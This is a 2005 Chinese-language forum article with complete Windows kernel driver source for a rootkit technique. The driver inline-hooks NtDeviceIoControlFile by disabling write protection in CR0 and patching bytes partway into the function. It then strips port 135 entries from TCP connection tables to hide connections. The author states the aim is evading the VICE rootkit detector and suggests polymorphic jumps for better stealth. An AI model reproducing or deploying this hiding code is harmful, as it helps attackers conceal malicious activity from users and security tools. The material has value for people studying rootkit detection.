kernel inline hook 绕过vice检测

创建时间：2005-11-05
文章属性：原创
文章提交： jqzmb (jqzmb_at_163.com)

kernel inline hook 绕过vice检测
                   uty@uaty
                       zmba@tom.com
在user mode的inline hook比较好用,因为很少有多线程的问题,所以可以采用把API前5字节改为跳转指令到自己的函数中,然后再改回原来的5个字节,调用原函数后在把前5个字节改为跳转指令为下次做好准备,过程大概如下
比如hook API(),我们的函数为myAPI()
修改API()前5字节为jmp xxxx(指向myAPI()),  1
        |
        |
         调用API()                   2
        |
        |
   跳转到myAPI()                      3
        |
        |
   (myAPI()中)改回原来的5字节          4
        |
        |
           ...  一些操作                   5
        |
        |
   (myAPI()中)调用API()               6
        |
        |
           .... 一些操作                        7
        |
        |
   (myAPI()中)再次修改API前5字节为jmp xxxx(指向myAPI())        8
        |
        |
       结束                                                   9

这个过程在kernel就不那么方便了,很不稳定,因为系统服务是整个windows都会经常调用,n多线程,如果一个线程调用了被hook的系统服务,当运行到
4--8之间的时候,线程被切换,另一个线程再次调用相同的系统服务时就会出现系统服务没被hook的情况.如果正好在执行到4或8的时候被中断,在其他
线程调用系统服务的时候就可能是BSOD了 :)  如果说是提高irql或block其他线程,总不能每次都那样吧 听说是这样的hook很不稳定,自己倒还没试
过,不知道实际情况到底怎样

看到了Greg Hoglund的migsys.sys 的确是个好程序,里面的hook只需要改写一次就可以一直hook,稳定性很好,我在虚拟机上实验,没问题,不过扁要赶上改写那一次的时候被中断....哎 只能说点背migsys.c里在驱动加载后改写系统服务的前5个字节跳转到自己给出的hook 函数中,拿NtDeviceIoControlFile为例,hook函数为
__declspec(naked) my_function_detour_ntdeviceiocontrolfile()
{
    __asm
    {  
        // exec missing instructions
        push ebp
            mov  ebp, esp
            push 0x01
            push dword ptr [ebp+0x2C]
            
            // jump to re-entry location in hooked function
            // this gets 'stamped' with the correct address
            // at runtime.
            //
            // we need to hard-code a far jmp, but the assembler
            // that comes with the DDK will not poop this out
            // for us, so we code it manually
            // jmp FAR 0x08:0xAAAAAAAA
            _emit 0xEA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0x08
            _emit 0x00
    }
}
注意到
__emit 0xEA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0x08
__emit 0x00
这是一句跳转语句 jmp 0008:AAAAAAAA
在驱动开始的时候就会寻找AAAAAAAA,把这里改写为被hook的NtDeviceIoControlFile+8的位置,这样在系统调用NtDeviceIoControlFile直接jmp到my_function_detour_ntdeviceiocontrolfile,接着执行
push ebp,esp
push 0x01
push dword ptr [ebp+0x2c]  (共8字节,不同版本windows的函数可能会有变化)
接下来jmp到NtDeviceIoControlFile+8,由于my_function_detour_ntdeviceiocontrolfile是__declspec(naked),
所以在进入后堆栈不会被改变,相当于执行了一个完整的NtDeviceIoControlFile.只不过前8个字节执行的地方不同 :>
我们可以在 push ebp前直接做些我们要的操作,不可以用局部变量,调用函数,对传入NtDeviceIoControlFile的参数做处理或者过滤之类的操作.
    但对于hook NtDeviceIoControlFile来实现隐藏端口和连接,我们是在调用成功后对结果进行过滤,而在jmp到NtDeviceIoControlFile+8后,我们就交出了程序的控制权.所以必须要让它执行完后再次转到我们的程序里.如果执行后要返回的话,就要用cAll指令,但cAll NtDeviceIoControlFile+8是不行的,被压入栈的返回地址放在了进栈的ebp的后面,乱了.这个办法行不通.
    肯定会有不同的方法来完成,我现在只想到了一个,并且希望让编译器帮着做大部分事,,我只用c就好了 ;)
模仿这种:
NTSTATUS NTAPI myNtDeviceIoControlFile(
                                IN HANDLE FileHandle,
                                IN HANDLE Event OPTIONAL,
                                IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                IN PVOID ApcContext OPTIONAL,
                   OUT PIO_STATUS_BLOCK IoStatusBlock,
                                       IN ULONG IoControlCode,
                   IN PVOID InputBuffer OPTIONAL,
                   IN ULONG InputBufferLength,
                   OUT PVOID OutputBuffer OPTIONAL,
                   IN ULONG OutputBufferLength
                    )
{
    NTSTATUS rc;
    rc = NtDeviceIoControlFile(
        FileHandle,
        Event,
        ApcRoutine,
        ApcContext,
        IoStatusBlock,
        IoControlCode,
        InputBuffer,
        InputBufferLength,
        OutputBuffer,
        OutputBufferLength
        );
...
}
然后我们可以对返回值做一些操作,就相当在我们的函数里调用了NtDeviceIoControlFile
NtDeviceIoControlFile有10个参数,调用时堆栈应该是这个样
Arg10
Arg9
Arg8
Arg7
Arg6
Arg5
Arg4
Arg3
Arg2
Arg1
ret Address
因为在系统调用的时候就已经压好了参数,所以我们的hook函数就不能自己再做了,要声名__declspec(naked),参数要和原函数一致.进入后模拟
cAll NtDeviceIoControlFile
__asm
{
    push OutputBufferLength
    push OutputBuffer
    push InputBufferLength
    push InputBuffer
    push IoControlCode
    push IoStatusBlock
    push ApcContext
    push ApcRoutine
    push Event
    push FileHandle
}
然后是ret Address,这个需要在运行时确定,用到了病毒中常用的定位的方法:
    cAll forwArd:
bAck:
    pop eAx
    ...
forwArd:
    jmp bAck:

得到pop eAx所在的位置
在我们的程序中:
__asm
{
    //int 3
    jmp forwArd
bAck:
    
}

__asm
{  
    // exec missing instructions
    push ebp
        mov  ebp, esp
        push 0x01
        push dword ptr [ebp+0x2C]
        
        // jump to re-entry location in hooked function
        // this gets 'stamped' with the correct address
        // at runtime.
        //
        // we need to hard-code a far jmp, but the assembler
        // that comes with the DDK will not poop this out
        // for us, so we code it manually
        // jmp FAR 0x08:0xAAAAAAAA
        _emit 0xEA
        _emit 0xAA
        _emit 0xAA
        _emit 0xAA
        _emit 0xAA
        _emit 0x08
        _emit 0x00
}
//
__asm
{
forwArd:
    call bAck
}
实现了一个完整的cAll NtDeviceIoControlFile :>

__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
                                                           IN HANDLE Event OPTIONAL,
                                                           IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                                           IN PVOID ApcContext OPTIONAL,
                                                           OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                           IN ULONG IoControlCode,
                                                           IN PVOID InputBuffer OPTIONAL,
                                                           IN ULONG InputBufferLength,
                                                           OUT PVOID OutputBuffer OPTIONAL,
                                                           IN ULONG OutputBufferLength
                                                           )
{
    
    //NTSTATUS rc;                    这里不能用局部变量,因为NtDeviceIoControlFile被调用的    环境可不确定,可以用全局变量(我们的Driver用服务的方式加载会在nonpAgedpool中或者直接在nonpAgedPool中申请
    //TCP_REQUEST_QUERY_INFORMATION_EX req;
    //TCPAddrEntry* TcpTable;// = NULL;
    //TCPAddrExEntry* TcpExTable;// = NULL;
    //ULONG numconn;
    //ULONG i;
    __asm
    {

        push ebp
        mov ebp,esp
    }
                            
    //DbgPrint("hooked/n");
    
    __asm
    {
        push OutputBufferLength
        push OutputBuffer
        push InputBufferLength
        push InputBuffer
        push IoControlCode
        push IoStatusBlock
        push ApcContext
        push ApcRoutine
        push Event
        push FileHandle
    }
    __asm
    {
        //int 3
        jmp forwArd
bAck:

    }

    __asm
    {        
        //popfd
            //popad
        // exec missing instructions
            push ebp
            mov  ebp, esp
            push 0x01
            push dword ptr [ebp+0x2C]
            
            // jump to re-entry location in hooked function
            // this gets 'stamped' with the correct address
            // at runtime.
            //
            // we need to hard-code a far jmp, but the assembler
            // that comes with the DDK will not poop this out
            // for us, so we code it manually
            // jmp FAR 0x08:0xAAAAAAAA
            _emit 0xEA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0x08
            _emit 0x00
    }
//
    __asm
    {
forwArd:
        call bAck
    }
    /*
    __asm
        {
            mov esp,ebp
            pop ebp
            ret 0x28
    }
    */
    //DbgPrint("once here :>/n");
    
    __asm
    {
        mov rc,eax
    }
    
    if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
        //return(rc);
        __asm
        {
            mov esp,ebp
            pop ebp
            mov eax,rc
            ret 0x28
        }
    }
    
    //TcpTable = NULL;
    //TcpExTable = NULL;

    if( NT_SUCCESS( rc ) ) {
        req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
        req.ID.toi_entity.tei_instance = 0;
        req.ID.toi_class = INFO_CLASS_PROTOCOL;
        req.ID.toi_type = INFO_TYPE_PROVIDER;
        req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
        
        if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
            numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
            TcpTable = (TCPAddrEntry*)OutputBuffer;
            
            for( i=0; i<numconn; i++ ){
                if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
                    //判断是否是最后一个
                    if (i != numconn -1){
                        RtlCopyMemory((TcpTable+i),(TcpTable+i+1),((numconn-i-1)*sizeof(TCPAddrEntry)));
                        numconn--;
                        i--;
                    }else{
                        numconn--;
                    }
                }
            }         
            IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
            //return(rc);
            __asm
            {
                mov esp,ebp
                pop ebp
                mov eax,rc
                ret 0x28
            }
        }         
    }
    
    //return(rc);
    __asm
    {
        mov esp,ebp
        pop ebp
        mov eax,rc
        ret 0x28
    }

}

声名__declspec(naked)的函数是不能用return语句的,因此这个工作得自己做 :>

上面的方法相比直接改SSDT就隐蔽些了,但被vice查出来,太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如
NtDeviceIoControlFile,
nt!NtDeviceIoControlFile:
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0x1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
805997d5 ff751c           push    dword ptr [ebp+0x1c]
805997d8 ff7518           push    dword ptr [ebp+0x18]
805997db ff7514           push    dword ptr [ebp+0x14]
805997de ff7510           push    dword ptr [ebp+0x10]
805997e1 ff750c           push    dword ptr [ebp+0xc]
805997e4 ff7508           push    dword ptr [ebp+0x8]
805997e7 e8e731ffff       call    nt!IopXxxControlFile (8058c9d3)
805997ec 5d               pop     ebp
805997ed c22800           ret     0x28
805997f0 0f862334ffff     jbe     nt!IopXxxControlFile+0x570 (8058cc19)
...

前面这么多push 语句都可以用来改成jmp xxxx或类似的语句,直要不让它执行到cAll就行了,,因为一但cAll就做出了很多操作,不好往回改了
比如选定
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
这9个字节改写为0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 11223344被换成我们的函数的地址,一定要用整数条语句的空间
当调用NtDeviceIoControlFile后跳转到我们的函数时,实际上已经执行了这几条语句了
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0x1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
所以要执行对应相反的语句来恢复堆栈
__asm
{
    add esp,8
    mov esp,ebp
    pop ebp
}
然后和原来的方法一样模拟cAll NtDeviceIoControlFile的过程,把丢掉的语句都补上.
在自己的xp sp1下vice2.0通过,结合变形,效果会更好吧 :>
代码如下:
inline_hook.c///
#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"

NTSTATUS rc;
TCP_REQUEST_QUERY_INFORMATION_EX req;
TCPAddrEntry* TcpTable = NULL;
TCPAddrExEntry* TcpExTable = NULL;
ULONG numconn;
ULONG i;
//--------------------------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
                      IN HANDLE hFile,
                      IN HANDLE hEvent OPTIONAL,
                      IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
                      IN PVOID IoApcContext OPTIONAL,
                      OUT PIO_STATUS_BLOCK pIoStatusBlock,
                      IN ULONG DeviceIoControlCode,
                      IN PVOID InBuffer OPTIONAL,
                      IN ULONG InBufferLength,
                      OUT PVOID OutBuffer OPTIONAL,
                      IN ULONG OutBufferLength
                      );


NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
    int i=0;
    char *p = (char *)NtDeviceIoControlFile;
    
    //The beginning of the NtDeviceIoControlFile function
    //should match:
    //55  PUSH EBP
    //8BEC  MOV EBP, ESP
    //6A01  PUSH 01
    //FF752C PUSH DWORD PTR [EBP + 2C]
    
    char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
    
    while(i<8)
    {
        DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
        DbgPrint("/n");
        if(p[i] != c[i])
        {
            return STATUS_UNSUCCESSFUL;
        }
        i++;
    }
    return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) NTAPI my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
                                                           IN HANDLE Event OPTIONAL,
                                                           IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                                           IN PVOID ApcContext OPTIONAL,
                                                           OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                           IN ULONG IoControlCode,
                                                           IN PVOID InputBuffer OPTIONAL,
                                                           IN ULONG InputBufferLength,
                                                           OUT PVOID OutputBuffer OPTIONAL,
                                                           IN ULONG OutputBufferLength
                                                           )
{
    
    //NTSTATUS rc;
    //TCP_REQUEST_QUERY_INFORMATION_EX req;
    //TCPAddrEntry* TcpTable;// = NULL;
    //TCPAddrExEntry* TcpExTable;// = NULL;
    //ULONG numconn;
    //ULONG i;
    __asm
    {
        add esp,8
        mov esp,ebp
        pop ebp
    }

    __asm
    {
        push ebp
        mov ebp,esp
        pushad
    }

    //DbgPrint("hooked/n");
    
    __asm
    {
        push OutputBufferLength
        push OutputBuffer
        push InputBufferLength
        push InputBuffer
        push IoControlCode
        push IoStatusBlock
        push ApcContext
        push ApcRoutine
        push Event
        push FileHandle
    }
    __asm
    {
        //int 3
        jmp forwArd
bAck:

    }

    __asm
    {  
        // exec missing instructions
            push ebp
            mov  ebp, esp
            push 0x01
            push dword ptr [ebp+0x2C]
            push dword ptr [ebp+0x28]
            push dword ptr [ebp+0x24]
            push dword ptr [ebp+0x20]
            
            // jump to re-entry location in hooked function
            // this gets 'stamped' with the correct address
            // at runtime.
            //
            // we need to hard-code a far jmp, but the assembler
            // that comes with the DDK will not poop this out
            // for us, so we code it manually
            // jmp FAR 0x08:0xAAAAAAAA
            _emit 0xEA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0x08
            _emit 0x00
    }
//
    __asm
    {
forwArd:
        call bAck
    }
    //DbgPrint("once here :>/n");
    __asm
    {
        mov rc,eax
    }
    
    if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
        //return(rc);
        __asm
        {
            popad
            mov esp,ebp
            pop ebp
            mov eax,rc
            ret 0x28
        }
    }
        
    if( NT_SUCCESS( rc ) ) {
        req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
        req.ID.toi_entity.tei_instance = 0;
        req.ID.toi_class = INFO_CLASS_PROTOCOL;
        req.ID.toi_type = INFO_TYPE_PROVIDER;
        req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
        
        if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
            numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
            TcpTable = (TCPAddrEntry*)OutputBuffer;
            
            for( i=0; i<numconn; i++ ){
                if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
                    //判断是否是最后一个
                    if (i != numconn -1){
                        RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
                        numconn--;
                        i--;
                    }else{
                        numconn--;
                    }
                }
            }         
            IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
            //return(rc);
            __asm
            {
                popad
                mov esp,ebp
                pop ebp
                mov eax,rc
                ret 0x28
            }
        }
    
        req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
        
        if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
            numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
            TcpExTable = (TCPAddrExEntry*)OutputBuffer;
            
            for( i=0; i<numconn; i++ ) {
                if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {  
                    if (i != numconn){
                        RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
                        numconn--;
                        i--;
                    }else{
                        numconn--;
                    }
                }
            }
            
            IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
            //return(rc);
            __asm
            {
                popad
                mov esp,ebp
                pop ebp
                mov eax,rc
                ret 0x28
            }
        }
    }

    //return(rc);
    __asm
    {
        popad
        mov esp,ebp
        pop ebp
        mov eax,rc
        ret 0x28
    }

}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
    char *actual_function = (char *)NtDeviceIoControlFile;
    unsigned long detour_address;
    unsigned long reentry_address;
    int i = 0;
    
    // assembles to jmp far 0008:11223344 where 11223344 is address of
    // our detour function, plus one NOP to align up the patch
    char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };
    
    // reenter the hooked function at a location past the overwritten opcodes
    // alignment is, of course, very important here
    reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17;

    detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;
    
    // stamp in the target address of the far jmp
    *( (unsigned long *)(&newcode[1]) ) = detour_address;
    
    // now, stamp in the return jmp into our detour
    // function
    for(i=0;i<200;i++){
        if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
            (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
            (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
            (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
        {
            // we found the address 0xAAAAAAAA
            // stamp it w/ the correct address
            *( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
            break;
        }
    }
    
    //TODO, raise IRQL
    
    //overwrite the bytes in the kernel function
    //to apply the detour jmp
    _asm
    {
        CLI //dissable interrupt
        MOV EAX, CR0 //move CR0 register into EAX
        AND EAX, NOT 10000H //disable WP bit
        MOV CR0, EAX //write register back
    }
    for(i=8;i < 17;i++)
    {
        actual_function[i] = newcode[i-8];
    }
    _asm
    {
        MOV EAX, CR0 //move CR0 register into EAX
        OR EAX, 10000H //enable WP bit
        MOV CR0, EAX //write register back
        STI //enable interrupt
    }
    
    //TODO, drop IRQL
}

VOID UnDetourFunction()
{
    //TODO!
}
//--------------------------------------------------------------------
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("My Driver Unloaded!/n");    
    UnDetourFunction();
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    DbgPrint("My Driver Loaded!");
    
    // TODO!! theDriverObject->DriverUnload = OnUnload;
    
    if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()){
        DbgPrint("Match Failure on NtDeviceIoControlFile!/n");
        return STATUS_UNSUCCESSFUL;
    }

    DetourFunctionNtDeviceIoControlFile();
    
    return STATUS_SUCCESS;
}
//--------------------------------------------------------------------

//hideport_hook_ZwDeviceIoControlFile.h/
#include <ntddk.h>

//--------------------------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
ZwDeviceIoControlFile(
                      IN HANDLE FileHandle,
                      IN HANDLE Event OPTIONAL,
                      IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                      IN PVOID ApcContext OPTIONAL,
                      OUT PIO_STATUS_BLOCK IoStatusBlock,
                      IN ULONG IoControlCode,
                      IN PVOID InputBuffer OPTIONAL,
                      IN ULONG InputBufferLength,
                      OUT PVOID OutputBuffer OPTIONAL,
                      IN ULONG OutputBufferLength
                      );
NTSTATUS NTAPI
myZwDeviceIoControlFile(
                        IN HANDLE FileHandle,
                        IN HANDLE Event OPTIONAL,
                        IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                        IN PVOID ApcContext OPTIONAL,
                        OUT PIO_STATUS_BLOCK IoStatusBlock,
                        IN ULONG IoControlCode,
                        IN PVOID InputBuffer OPTIONAL,
                        IN ULONG InputBufferLength,
                        OUT PVOID OutputBuffer OPTIONAL,
                        IN ULONG OutputBufferLength
                        );
typedef NTSTATUS (NTAPI *ZWDEVICEIOCONTROLFILE)(
                                                IN HANDLE FileHandle,
                                                IN HANDLE Event OPTIONAL,
                                                IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                                IN PVOID ApcContext OPTIONAL,
                                                OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                IN ULONG IoControlCode,
                                                IN PVOID InputBuffer OPTIONAL,
                                                IN ULONG InputBufferLength,
                                                OUT PVOID OutputBuffer OPTIONAL,
                                                IN ULONG OutputBufferLength
                                                );
//--------------------------------------------------------------------
// jiurl // from addrconv.cpp
#define ntohs(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) )


// jiurl // from tcpioctl.h tdiinfo.h tdistat.h
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003

//* Structure of an entity ID.
typedef struct TDIEntityID {
    ULONG tei_entity;
    ULONG tei_instance;
} TDIEntityID;

//* Structure of an object ID.
typedef struct TDIObjectID {
    TDIEntityID toi_entity;
    ULONG toi_class;
    ULONG toi_type;
    ULONG toi_id;
} TDIObjectID;

#define CONTEXT_SIZE 16
//
// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer
// in the DeviceIoControl request. This structure is passed as the
// InputBuffer.
//
struct tcp_request_query_information_ex {
    TDIObjectID ID; // object ID to query.
    ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed
    // for the first request.
};

typedef struct tcp_request_query_information_ex
TCP_REQUEST_QUERY_INFORMATION_EX,
*PTCP_REQUEST_QUERY_INFORMATION_EX;

#define CO_TL_ENTITY 0x400
#define INFO_CLASS_PROTOCOL 0x200
#define INFO_TYPE_PROVIDER 0x100

//--------------------------------------------------------------------

typedef struct TCPSNMPInfo {
    ULONG tcpsi_RtoAlgorithm;
    ULONG tcpsi_RtoMin;
    ULONG tcpsi_RtoMax;
    ULONG tcpsi_MaxConn;
    ULONG tcpsi_ActiveOpens;
    ULONG tcpsi_PassiveOpens;
    ULONG tcpsi_AttemptFails;
    ULONG tcpsi_EstabResets;
    ULONG tcpsi_CurrEstab;
    ULONG tcpsi_InSegs;
    ULONG tcpsi_OutSegs;
    ULONG tcpsi_RetransSegs;
    ULONG tcpsi_unknown1;
    ULONG tcpsi_unknown2;
    ULONG tcpsi_numconn;
} TCPSNMPInfo;

#define tcpRtoAlgorithm_other 1 // none of the following
#define tcpRtoAlgorithm_constant 2 // a constant rto
#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B
#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm

#define TCP_MIB_STATS_ID 1
#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101
#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102


typedef struct TCPAddrEntry {
    ULONG tae_ConnState;
    ULONG tae_ConnLocalAddress;
    ULONG tae_ConnLocalPort;
    ULONG tae_ConnRemAddress;
    ULONG tae_ConnRemPort;
} TCPAddrEntry;

#define tcpConnState_closed 1
#define tcpConnState_listen 2
#define tcpConnState_synSent 3
#define tcpConnState_synReceived 4
#define tcpConnState_established 5
#define tcpConnState_finWait1 6
#define tcpConnState_finWait2 7
#define tcpConnState_closeWait 8
#define tcpConnState_lastAck 9
#define tcpConnState_closing 10
#define tcpConnState_timeWait 11
#define tcpConnState_deleteTCB 12

typedef struct TCPAddrExEntry {
    ULONG tae_ConnState;
    ULONG tae_ConnLocalAddress;
    ULONG tae_ConnLocalPort;
    ULONG tae_ConnRemAddress;
    ULONG tae_ConnRemPort;
    ULONG pid;
} TCPAddrExEntry;